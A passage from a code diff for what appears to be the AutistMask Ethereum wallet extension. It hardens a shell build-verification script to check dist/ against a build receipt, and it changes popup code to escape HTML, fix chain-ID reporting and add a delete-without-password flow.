+# the root line are checked on the way past; the root line is what stops a
+# receipt written by a build of some other tree being pointed at this one.
+walk_receipt() {
+    _wr_each="$1"
+    LINENO_R=0
+    _line=""
+    while IFS= read -r _line || [ -n "$_line" ]; do
+        LINENO_R=$((LINENO_R + 1))
+        if [ "$LINENO_R" -eq 1 ]; then
+            [ "$_line" = "$RECEIPT_HEADER" ] ||
+                fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
+    is not a build receipt this script understands. Refusing to report
+    success."
+            continue
+        fi
+        if [ "$LINENO_R" -eq 2 ]; then
+            [ "$_line" = "root $ROOT" ] ||
+                fail "$RECEIPT was written by a build of a different tree: it
+    says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
+    the tree it was built in."
+            continue
+        fi
+        parse_file_line "$_line"
+        "$_wr_each"
+    done <"$RECEIPT"
+
+    [ "$LINENO_R" -ge 2 ] ||
+        fail "$RECEIPT is truncated: it has no root line, so it is not a
+    receipt this script can check anything against."
+}
+
+# Pass one: the receipt has to be a receipt before anything is concluded from
+# it. A line this script cannot read is a file that would go unchecked, and a
+# receipt naming no audited bundle asserts no DEBUG state at all — both are
+# failures, and both have to be established before the tree is walked against
+# it, because a receipt entry that was misread would otherwise surface as a
+# complaint about dist/.
+count_entry() {
+    SHAPE_COUNT=$((SHAPE_COUNT + 1))
+    if [ "$ENTRY_FLAG" = A ]; then
+        SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
+    fi
+}
+
+check_receipt_shape() {
+    SHAPE_COUNT=0
+    SHAPE_AUDITED=0
+    walk_receipt count_entry
+
+    [ "$SHAPE_COUNT" -gt 0 ] ||
+        fail "$RECEIPT names no emitted files, so nothing was inspected. A
+    build always emits some."
+    [ "$SHAPE_AUDITED" -gt 0 ] ||
+        fail "$RECEIPT names no bundle containing src/shared/constants.js, so
+    no DEBUG state would be asserted at all. That is never correct, so it is a
+    failure and not a pass."
+}
+
+# Pass three: every file the receipt names, checked against the bytes on disk.
+check_receipt_entries() {
+    walk_receipt check_entry
+}
+
+# --- the emitted tree -------------------------------------------------------
+
+# The receipt says which files the build emitted. This says dist/ contains no
+# others: an artifact that was added after the build, or that a hand-written
+# dist/ brought with it, is not something the build vouches for and is not
+# something this check may pass over.
 #
-# Deliberately unfiltered by extension. build.js selects manifest entries with
-# an endsWith(".js") test; repeating that literal here would mean a bundle
-# emitted under some other extension escaped the manifest AND this check at
-# once, which is the correlated blind spot the two-source design exists to
-# avoid. Every regular file and every symlink under dist/ is searched — that
-# is the whole of what a build emits — so build.js's filter is the only place
-# the assumption lives and this check is what catches it being wrong.
-#
-# That claim only holds if the walk is exhaustive and every name survives it
-# intact, so four things are enforced here rather than assumed:
+# The walk has to be exhaustive and every name has to survive it intact, so
+# four things are enforced rather than assumed:
 #
 #   - the walk is NUL-delimited and the paths reach the check as arguments, so
 #     no name can be reshaped on the way in. Read line by line, a name with a
 #     trailing space lost it to read's field splitting and the remnant then
-#     matched a manifest line, and a name containing a newline arrived as a
-#     listed path plus an empty one. Both left a marker-carrying, unlisted file
-#     unchecked while the script still reported success. Delivering such a name
-#     intact is only half of it; is_listed also has to keep it out of grep's
-#     pattern, for the same reason.
+#     matched a listed path, and a name containing a newline arrived as a
+#     listed path plus an empty one. Both left an unchecked file in dist/ while
+#     the script still reported success.
 #   - find's exit status is checked. A subtree it cannot descend is reported on
 #     stderr and then simply missing from the listing, so an unchecked status
 #     turns "could not look" into "nothing was there" — the same conflation
 #     has_marker exists to prevent. The status cannot be read off a pipeline,
 #     so the listing lands in a file that xargs then reads back.
-#   - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
-#     reachable under an unlisted path in dist/ is a stale manifest whether the
-#     path is a link or a file, and grep reads through the link. A link that
-#     cannot be read through — dangling, or pointing at a directory — fails
-#     hard via has_marker's exit-2 path, which is the fail-closed answer: the
-#     build emits neither, so their DEBUG state is unproven, not fine.
+#   - symlinks are walked too (-type l), not skipped. The build emits none, so
+#     a symlink under dist/ is a path the build did not produce, whatever it
+#     points at, and it fails as one instead of being read through.
 #   - dist/ itself must be a directory and not a symlink, which main asserts
 #     before anything reads through it. find does not follow a symlink named on
 #     its own command line, so a linked dist/ collapses this walk to one entry
 #     and cross-checks nothing.
 #
-# Types other than regular files and symlinks are left out on purpose: a build
-# emits none of them, and grep on a fifo would hang rather than fail.
-check_unlisted_bundles() {
+# Types other than regular files and symlinks — fifos, sockets, device nodes and
+# empty directories — are left out on purpose, and the guarantee is bounded to
+# what is walked: a build emits none of them, none can carry a shippable
+# payload, and grep on a fifo would hang rather than fail.
+check_dist_tree() {
     LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
         fail "could not create a temporary file for the dist/ listing, so the
     tree was never walked. Refusing to report success."
@@ -191,105 +412,196 @@ check_unlisted_bundles() {
     [ "$_find_status" -eq 0 ] ||
         fail "find exited $_find_status enumerating dist/, so part of the tree
     was never walked and nothing was established about the files in it. Any
-    unlisted bundle there went unchecked. That is a permissions or I/O fault on
-    the artifact, not a stale manifest. Refusing to report success."
+    file the build did not emit could be sitting there unchecked. That is a
+    permissions or I/O fault on the artifact. Refusing to report success."
 
     _scan_status=0
-    xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
+    xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
     [ "$_scan_status" -eq 0 ] ||
-        fail "the unlisted-bundle scan exited $_scan_status: either a path
-    under dist/ failed the check reported above, or the scan could not be run
-    at all. Refusing to report success."
+        fail "the dist/ tree scan exited $_scan_status: either a path under
+    dist/ failed the check reported above, or the scan could not be run at all.
+    Refusing to report success."
 }
 
-# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
-# this script, so it uses the same is_listed and has_marker as the rest of the
-# file rather than a second copy of them that could drift. Paths arrive as
-# arguments and are never split, joined or trimmed.
+# Does the receipt name the path $1? Compared as whole strings, never through
+# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
+# the place to put one. The receipt's own paths are known to carry no
+# whitespace by the time this runs — verify_receipt failed the run otherwise —
+# so stripping the three leading fields recovers each one exactly.
+receipt_names() {
+    _rn_want="$1"
+    _rn_line=""
+    while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
+        case "$_rn_line" in
+        "file "*) ;;
+        *) continue ;;
+        esac
+        [ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
+    done <"$RECEIPT"
+    return 1
+}
+
+# The per-path half of check_dist_tree. It runs in a re-invocation of this
+# script, so it uses the same helpers as the rest of the file rather than a
+# second copy of them that could drift. Paths arrive as arguments and are never
+# split, joined or trimmed.
 scan_dist_paths() {
     for _file in "$@"; do
-        if is_listed "$_file"; then
+        if [ -h "$_file" ]; then
+            fail "$_file is a symlink under dist/. The build emits regular
+    files only, so this path is not something it produced, and what it points
+    at is not what was verified. Refusing to report success."
+        fi
+        if receipt_names "$_file"; then
             continue
         fi
-        if has_marker "$MARKER_ON" "$_file" ||
-            has_marker "$MARKER_OFF" "$_file"; then
-            fail "$_file carries a debug marker but is absent from $MANIFEST,
-    so the manifest no longer describes the emitted bundles."
-        fi
+        fail "$_file is under dist/ but the build that just ran did not emit
+    it. dist/ must contain exactly what the build produced: an extra file there
+    is an artifact nothing vouches for, and shipping the directory ships it."
     done
 }
 
-# The requested mode, read from our own environment using build.js's exact
-# rule: only the literal 1 opts in. Deliberately not taken from anything
-# build.js records about itself, so build.js cannot vouch for build.js.
-expected_marker() {
-    if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
-        echo "$MARKER_ON"
-    else
-        echo "$MARKER_OFF"
-    fi
+# --- arguments --------------------------------------------------------------
+
+# The expected mode and the receipt are stated by the caller. Nothing is read
+# from the environment, and there is no default for either.
+parse_args() {
+    while [ "$#" -gt 0 ]; do
+        case "$1" in
+        --expect)
+            [ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
+            set_expect "$2"
+            shift 2
+            ;;
+        --expect=*)
+            set_expect "${1#--expect=}"
+            shift
+            ;;
+        --receipt)
+            [ "$#" -ge 2 ] || fail "--receipt needs a path."
+            set_receipt "$2"
+            shift 2
+            ;;
+        --receipt=*)
+            set_receipt "${1#--receipt=}"
+            shift
+            ;;
+        *)
+            usage
+            fail "unknown argument: $1"
+            ;;
+        esac
+    done
 }
 
-main() {
-    cd "$ROOT"
+set_expect() {
+    [ -z "$EXPECT" ] || fail "--expect given more than once."
+    case "$1" in
+    release) EXPECT="$MARKER_OFF" ;;
+    debug) EXPECT="$MARKER_ON" ;;
+    *) fail "--expect takes release or debug, not \"$1\"." ;;
+    esac
+}
 
-    # Internal re-entry from check_unlisted_bundles' xargs. Not part of the
+set_receipt() {
+    [ -z "$RECEIPT" ] || fail "--receipt given more than once."
+    [ -n "$1" ] || fail "--receipt was given an empty path."
+    # Resolved against the caller's directory, before main cd's to the repo
+    # root.
+    case "$1" in
+    /*) RECEIPT="$1" ;;
+    *) RECEIPT="$PWD/$1" ;;
+    esac
+}
+
+# --- main -------------------------------------------------------------------
+
+main() {
+    # Internal re-entry from check_dist_tree's xargs. Not part of the
     # command-line interface: nothing else invokes it, and it is a distinct
     # entry point rather than a mode flag threaded through the checks below.
     if [ "${1-}" = "$SCAN_FLAG" ]; then
         shift
+        [ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
+        RECEIPT="$1"
+        shift
+        cd "$ROOT"
+        [ -r "$RECEIPT" ] ||
+            fail "$RECEIPT became unreadable during the run, so the dist/ tree
+    could not be checked against it. Refusing to report success."
         scan_dist_paths "$@"
         return 0
     fi
 
-    expected="$(expected_marker)"
-    echo "Verifying emitted bundles (expecting $expected)..."
+    parse_args "$@"
+
+    [ -n "$EXPECT" ] || {
+        usage
+        fail "no --expect argument. The mode this build was supposed to produce
+    has to be stated by whoever ran the build; it is not a default and it is
+    not read from AUTISTMASK_DEBUG in this script's environment, because an
+    operator with that exported would then have their debug build verified as
+    the release one they asked for."
+    }
+    [ -n "$RECEIPT" ] || {
+        usage
+        fail "no --receipt argument. The list of files to check comes from the
+    build that just ran, not from dist/: without it, a hand-written dist/ would
+    be verifying itself. make build and make build-debug pass one."
+    }
+
+    pick_sha256
+    cd "$ROOT"
 
     # Asserted here rather than left to grep. A symlinked dist/ used to fail
-    # only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
-    # single entry hit has_marker's I/O path by luck; under a grep that exits 1
-    # instead, the whole cross-check would have collapsed into a pass.
+    # only because GNU grep exits 2 on a directory, so the tree walk hit
+    # has_marker's I/O path by luck; under a grep that exits 1 instead, the
+    # whole cross-check would have collapsed into a pass.
     if [ -h dist ]; then
         fail "dist is a symlink, not a directory. find does not follow a
-    symlink named on its own command line, so the unlisted-bundle cross-check
-    would see one entry instead of the emitted tree and establish nothing about
-    it. Refusing to report success."
+    symlink named on its own command line, so the tree walk would see one entry
+    instead of the emitted tree and establish nothing about it. Refusing to
+    report success."
     fi
     [ -d dist ] ||
         fail "dist is not a directory, so there is no emitted tree to verify.
     build.js writes it; run make build first."
 
-    [ -f "$MANIFEST" ] ||
-        fail "$MANIFEST is missing. build.js writes it at the end of a
-    successful build; run make build first."
-    [ -s "$MANIFEST" ] ||
-        fail "$MANIFEST is empty, so no emitted bundle was found to contain
-    src/shared/constants.js. That is never correct, so it is a failure and not
-    a pass."
-    [ -r "$MANIFEST" ] ||
-        fail "$MANIFEST is not readable, so nothing was inspected. That is a
+    case "$RECEIPT" in
+    "$ROOT/dist" | "$ROOT/dist/"*)
+        fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
+    the tree it describes is rewritten by whoever rewrites the tree, and vouches
+    for nothing. make build keeps it outside the repo."
+        ;;
+    esac
+
+    [ -e "$RECEIPT" ] ||
+        fail "$RECEIPT is missing. build.js writes it at the end of a
+    successful build; run make build rather than invoking this directly."
+    [ -f "$RECEIPT" ] ||
+        fail "$RECEIPT is not a regular file, so it is not a build receipt."
+    [ -s "$RECEIPT" ] ||
+        fail "$RECEIPT is empty, so the build wrote nothing to it and there is
+    no account of what it emitted. build.js writes the receipt last, so an
+    empty one means the build did not finish."
+    [ -r "$RECEIPT" ] ||
+        fail "$RECEIPT is not readable, so nothing was inspected. That is a
     permissions or I/O fault, not a pass."
 
-    count=0
-    while read -r file; do
-        [ -n "$file" ] || continue
-        [ -f "$file" ] ||
-            fail "$MANIFEST lists $file, which does not exist."
-        [ -s "$file" ] ||
-            fail "$MANIFEST lists $file, which is empty. An empty bundle
-    carries no marker and proves nothing, so this is a failure and not a pass."
-        read_marker "$file"
-        [ "$MARKER" = "$expected" ] ||
-            fail "$file is $MARKER but this build expects $expected."
-        echo "  ok: $file ($MARKER)"
-        count=$((count + 1))
-    done <"$MANIFEST"
+    echo "Verifying emitted files against the build receipt (expecting" \
+        "$EXPECT)..."
 
-    [ "$count" -gt 0 ] || fail "no bundles were inspected."
+    # Order matters. The receipt has to be well-formed before it is used as an
+    # expectation, and the tree has to be walkable in full before any single
+    # file in it is pronounced on: a subtree that cannot be descended makes
+    # every file under it look absent, and "could not look" must never be
+    # reported as "was not there".
+    check_receipt_shape
+    check_dist_tree
+    check_receipt_entries
 
-    check_unlisted_bundles
-
-    echo "verify-build: $count bundle(s) verified $expected"
+    echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
+        "$AUDITED bundle(s) $EXPECT"
 }
 
 main "$@"

src/background/index.js

@@ -3,7 +3,11 @@
 // non-sensitive calls to the configured Ethereum JSON-RPC endpoint.
 
 const { DEFAULT_RPC_URL } = require("../shared/constants");
-const { SUPPORTED_CHAIN_IDS, networkByChainId } = require("../shared/networks");
+const {
+    SUPPORTED_CHAIN_IDS,
+    networkById,
+    networkByChainId,
+} = require("../shared/networks");
 const { onChainSwitch } = require("../shared/chainSwitch");
 const {
     state,
@@ -663,12 +667,28 @@ async function handleRpc(method, params, origin) {
         return { result: [] };
     }
 
-    if (method === "eth_chainId") {
-        return { result: currentNetwork().chainId };
-    }
-
-    if (method === "net_version") {
-        return { result: currentNetwork().networkVersion };
+    // Both answered from currentNetwork(), which reads the module-level state
+    // singleton, and nothing populates that at module scope. A worker revived
+    // by the page's own message therefore held DEFAULT_STATE and told a page
+    // it was on mainnet while the user was on Sepolia
+    // (https://git.eeqj.de/sneak/AutistMask/issues/317).
+    //
+    // Answered from getState() rather than by loading the singleton. Any page
+    // reaches these two — neither is gated on a connection, and the injected
+    // provider sends eth_chainId on every page load — and loadState() replaces
+    // state.wallets wholesale, which would detach the address objects an
+    // in-flight backgroundRefresh() is mutating across its network round trip,
+    // so its saveState() would persist the pre-refresh balances while still
+    // stamping lastBalanceRefresh. getState() is the detached per-call storage
+    // read the other read handlers here already use.
+    // networkById(undefined) falls back to mainnet, matching the default for a
+    // profile with no stored networkId.
+    if (method === "eth_chainId" || method === "net_version") {
+        const s = await getState();
+        const net = networkById(s.networkId);
+        return {
+            result: method === "eth_chainId" ? net.chainId : net.networkVersion,
+        };
     }
 
     if (method === "wallet_switchEthereumChain") {

src/popup/index.html

@@ -153,12 +153,28 @@
                 <!-- Shared password fields -->
                 <div class="mb-2" id="add-wallet-password-section">
                     <label class="block mb-1">Choose a password</label>
+                    <!-- The hint is swapped in place when the import tab
+                         changes, and it sits directly above the password
+                         fields, so a wording that wraps to a different
+                         number of lines would move them under the pointer.
+                         Two things stop that: the three wordings in
+                         PASSWORD_HINTS are kept within a couple of
+                         characters of each other in length, and this floor
+                         matches what each of them needs. All three measure
+                         48px -- 3 lines at the 16px line height, at the
+                         368px width this box has in the 396px popup body.
+                         Do not raise it: the reserve is unused height on
+                         every tab, and at 6rem it pushed
+                         #btn-add-wallet-confirm to bottom=628px in a 600px
+                         viewport, below the fold. -->
                     <p
-                        class="text-xs text-muted mb-1"
+                        class="text-xs text-muted mb-1 min-h-[3rem]"
                         id="add-wallet-password-hint"
                     >
                         This password encrypts your recovery phrase on this
-                        device. You will need it to send funds.
+                        device. You will need it to send funds. It cannot be
+                        recovered or reset, so keep your recovery phrase written
+                        down: it is the only backup of this wallet.
                     </p>
                     <input
                         type="password"
@@ -1140,6 +1156,71 @@
                 >
                     Confirm Delete
                 </button>
+                <p class="text-xs mt-3">
+                    <span
+                        id="btn-delete-wallet-lost-password"
+                        class="underline decoration-dashed cursor-pointer"
+                        >I have lost my password</span
+                    >
+                </p>
+            </div>
+
+            <!-- ============ DELETE WALLET WITHOUT THE PASSWORD ============ -->
+            <div id="view-delete-wallet-lost-password" class="view hidden">
+                <button
+                    id="btn-delete-wallet-lost-back"
+                    class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
+                >
+                    &lt; Back
+                </button>
+                <h2 class="font-bold mb-3">Delete Wallet Without a Password</h2>
+                <p class="text-xs mb-2">
+                    Your password cannot be recovered or reset, so there is no
+                    way to unlock
+                    <strong id="delete-wallet-lost-name"></strong> again. You
+                    can still delete it, and no password is needed to do that.
+                </p>
+                <p class="text-xs mb-2">
+                    Deleting it erases the copy of its key that is stored on
+                    this device. Nothing on the blockchain changes, and the
+                    money at its addresses is not moved or destroyed.
+                </p>
+                <p class="text-xs mb-2">
+                    If you have the recovery phrase for this wallet written
+                    down, add the wallet again afterwards with a new password
+                    and you will have it back.
+                    <strong
+                        >If you do not have it written down, deleting this
+                        wallet means losing everything it holds,
+                        forever.</strong
+                    >
+                </p>
+                <p class="text-xs mb-3">Your other wallets are not touched.</p>
+                <p class="text-xs mb-1">
+                    To confirm, type the name of the wallet (<strong
+                        id="delete-wallet-lost-name-echo"
+                    ></strong
+                    >) below.
+                </p>
+                <div class="mb-2">
+                    <input
+                        type="text"
+                        id="delete-wallet-lost-name-input"
+                        class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
+                        placeholder="Type the wallet name"
+                    />
+                </div>
+                <div
+                    id="delete-wallet-lost-flash"
+                    class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
+                    style="visibility: hidden"
+                ></div>
+                <button
+                    id="btn-delete-wallet-lost-confirm"
+                    class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
+                >
+                    Delete This Wallet Forever
+                </button>
             </div>
 
             <!-- ============ DELETE ADDRESS CONFIRM ============ -->

src/popup/restorableViews.js

@@ -10,6 +10,11 @@
 // prompt in front of it, on a popup the user may have reopened by accident.
 // That is why "export-privkey" and "show-phrase" are absent.
 //
+// Nor may a view whose button destroys a wallet be listed, for the mirror
+// reason: a popup reopened by accident must not land on the screen that
+// erases key material. That is why "delete-wallet-confirm" and
+// "delete-wallet-lost-password" are absent.
+//
 // Kept in its own module, with no dependencies, so tests can assert the
 // exclusion directly rather than trusting a reading of the popup entry
 // point, which cannot be required outside a browser.

src/popup/views/addToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, goBack } = require("./helpers");
+const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -13,7 +13,7 @@ function show() {
     list.innerHTML = getTopTokens(25)
         .map(
             (t) =>
-                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
+                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
         )
         .join("");
     list.querySelectorAll(".common-token").forEach((btn) => {

src/popup/views/addWallet.js

@@ -42,12 +42,24 @@ let currentMode = "mnemonic";
 
 const MODES = ["mnemonic", "privkey", "xprv"];
 
+// Each hint names what this import mode's own backup is, because a key
+// wallet and an xprv wallet have no recovery phrase to point the user at.
+// All three say the same thing about the password: it is gone for good if
+// it is forgotten. That sentence is the only warning the user gets before
+// the wallet exists, and without it the lost-password route in
+// views/deleteWallet.js is the first they hear of it.
+//
+// Keep the three within a couple of characters of each other in length.
+// The hint sits directly above the password fields and the tabs swap it in
+// place, so a wording that wraps to a different number of lines would move
+// those fields under the pointer; the reserved height on
+// #add-wallet-password-hint is the other half of that guarantee.
 const PASSWORD_HINTS = {
     mnemonic:
-        "This password encrypts your recovery phrase on this device. You will need it to send funds.",
+        "This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
     privkey:
-        "This password encrypts your private key on this device. You will need it to send funds.",
-    xprv: "This password encrypts your key on this device. You will need it to send funds.",
+        "This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
+    xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
 };
 
 function switchMode(mode) {

src/popup/views/addressDetail.js

@@ -6,6 +6,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
@@ -221,10 +222,12 @@ function renderTransactions(txs) {
                   : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        const dirLabel = tx.directionLabel;
+        // The explorer's method name for a contract call, title-cased.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);

src/popup/views/addressToken.js

@@ -9,6 +9,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     balanceLine,
     renderAddressHtml,
@@ -124,7 +125,11 @@ function show() {
     currentSymbol = symbol;
 
     $("address-token-title").textContent =
-        wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
+        wallet.name +
+        " \u2014 Address " +
+        (ai + 1) +
+        " \u2014 " +
+        displaySymbol(symbol);
 
     // Blockie
     const blockieEl = $("address-token-jazzicon");
@@ -174,7 +179,9 @@ function show() {
             (knownToken && knownToken.symbol) ||
             null;
         const tokenName = rawName ? escapeHtml(rawName) : null;
-        const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
+        const tokenSymbol = rawSymbol
+            ? escapeHtml(displaySymbol(rawSymbol))
+            : null;
         const tokenDecimals =
             tb && tb.decimals != null
                 ? tb.decimals
@@ -288,10 +295,12 @@ function renderTransactions(txs) {
         const counterparty = tx.direction === "sent" ? tx.to : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        const dirLabel = tx.directionLabel;
+        // The explorer's method name for a contract call, title-cased.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -361,7 +370,7 @@ function init(_ctx) {
         }
         // Hide dropdown, show static token display
         $("send-token").classList.add("hidden");
-        let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
+        let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
         if (tokenId !== "ETH") {
             staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
         }

src/popup/views/approval.js

@@ -25,6 +25,12 @@ const {
     resolveTokenDecimals,
     unknownDecimalsAmount,
 } = require("../../shared/approvalAmount");
+// Four decimals, with the nonzero floor these screens hold: every amount this
+// view renders — the ERC-20 line, the ETH value, the max fee — and every one
+// it carries forward to the wait/success/error screens goes through it.
+const {
+    truncateAmountNeverZero: formatTxValue,
+} = require("../../shared/amountDisplay");
 const { decryptWithPassword } = require("../../shared/vault");
 const { getSignerForAddress } = require("../../shared/wallet");
 const { walletDefect } = require("../../shared/walletDefects");
@@ -40,13 +46,6 @@ function approvalAddressHtml(address) {
     return renderAddressHtml(address, { title });
 }
 
-function formatTxValue(val) {
-    const parts = val.split(".");
-    if (parts.length === 1) return val + ".0000";
-    const dec = (parts[1] + "0000").slice(0, 4);
-    return parts[0] + "." + dec;
-}
-
 // The amount line for a decoded ERC-20 call. With a known scale it is the
 // token quantity; with `decimals` null it is the base-unit integer with the
 // unknown scale stated, because formatting it with an assumed scale is what
@@ -74,6 +73,14 @@ function tokenLabel(address) {
 function decodeCalldata(data, toAddress) {
     if (!data || data === "0x" || data.length < 10) return null;
 
+    // Where a token's scale is looked for, for every decoder below: the ERC-20
+    // amount line and the swap's Amount and Min. received lines resolve it the
+    // same way, and refuse to format the same way when it is nowhere.
+    const decimalsSources = {
+        trackedTokens: state.trackedTokens,
+        wallets: state.wallets,
+    };
+
     // Try ERC-20 (approve / transfer)
     try {
         const parsed = erc20Iface.parseTransaction({ data });
@@ -85,10 +92,10 @@ function decodeCalldata(data, toAddress) {
             // the wrong number, and for a token with fewer decimals than the
             // guess it is the wrong number in the direction that reads as
             // zero. See tokenAmountText().
-            const tokenDecimals = resolveTokenDecimals(toAddress, {
-                trackedTokens: state.trackedTokens,
-                wallets: state.wallets,
-            });
+            const tokenDecimals = resolveTokenDecimals(
+                toAddress,
+                decimalsSources,
+            );
             const contractLabel = tokenSymbol
                 ? tokenSymbol + " (" + toAddress + ")"
                 : toAddress;
@@ -168,7 +175,7 @@ function decodeCalldata(data, toAddress) {
     }
 
     // Try Uniswap Universal Router
-    const routerResult = uniswap.decode(data, toAddress);
+    const routerResult = uniswap.decode(data, toAddress, decimalsSources);
     if (routerResult) return routerResult;
 
     return null;

src/popup/views/confirmTx.js

@@ -10,6 +10,7 @@ const {
     showView,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
@@ -57,7 +58,7 @@ function restore() {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function confirmAddressHtml(address, ensName, title) {
@@ -81,7 +82,11 @@ function show(txInfo) {
     feeWei = null;
 
     const isErc20 = txInfo.token !== "ETH";
-    const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    // The raw symbol is the price-table key; the capped one is what the
+    // screen says. Truncating before the lookup would silently drop the
+    // price of any token whose symbol is long enough to be capped.
+    const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    const symbol = displaySymbol(rawSymbol);
 
     // Transaction type
     if (isErc20) {
@@ -123,7 +128,7 @@ function show(txInfo) {
 
     // Amount (with inline USD)
     const ethPrice = getPrice("ETH");
-    const tokenPrice = getPrice(symbol);
+    const tokenPrice = getPrice(rawSymbol);
     const amountNum = parseFloat(txInfo.amount);
     const price = isErc20 ? tokenPrice : ethPrice;
     const amountUsd = price ? amountNum * price : null;
@@ -156,7 +161,12 @@ function show(txInfo) {
         warningsEl.innerHTML = localWarnings
             .map(
                 (w) =>
-                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
+                    // Only the three hardcoded strings in
+                    // src/shared/addressWarnings.js reach this today, but
+                    // src/shared/etherscanLabels.js already builds a
+                    // `warning` out of scraped explorer markup, so this is
+                    // one wiring change away from carrying remote text.
+                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
             )
             .join("");
         warningsEl.style.visibility = "visible";
@@ -206,7 +216,7 @@ function show(txInfo) {
 // touches already occupies its space, so re-running it never moves anything.
 function renderValidation(txInfo) {
     const isErc20 = txInfo.token !== "ETH";
-    const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
 
     const { canSend, codes } = validateTransfer({
         isErc20,

src/popup/views/deleteAddress.js

@@ -11,6 +11,7 @@ const {
     $,
     showView,
     showFlash,
+    escapeHtml,
     goBack,
     renderAddressHtml,
     attachCopyHandlers,
@@ -44,8 +45,8 @@ function setFlash(msg) {
 // wallet.nextIndex is a high-water mark and is deliberately not rewound; and
 // re-importing this wallet's key material is refused as a duplicate by
 // findWalletByXpub() for as long as the wallet is here. What remains is to
-// delete the whole wallet in Settings — which asks for the password and
-// destroys the stored secret — and import again, after which
+// delete the whole wallet in Settings — which destroys the stored secret,
+// with or without the password — and import again, after which
 // scanForAddresses() rediscovers the address only if it has on-chain
 // activity. An address that was never used is not found by that scan, and
 // the copy must not imply otherwise.
@@ -62,8 +63,7 @@ function recoveryPathText(wallet) {
         "importing this " +
         secret +
         " again is refused while this wallet is still here. The way back is " +
-        "to delete the whole wallet in Settings, which asks for your " +
-        "password and destroys the stored " +
+        "to delete the whole wallet in Settings, which destroys the stored " +
         secret +
         ", and then import that " +
         secret +
@@ -92,7 +92,7 @@ function balanceWarningHtml(addr) {
     if (!addressHoldsFunds(addr)) return " ";
     const line = formatAddressTotal(getAddressValue(addr));
     const total = line
-        ? `<div class="text-xs text-muted mt-1">${line}</div>`
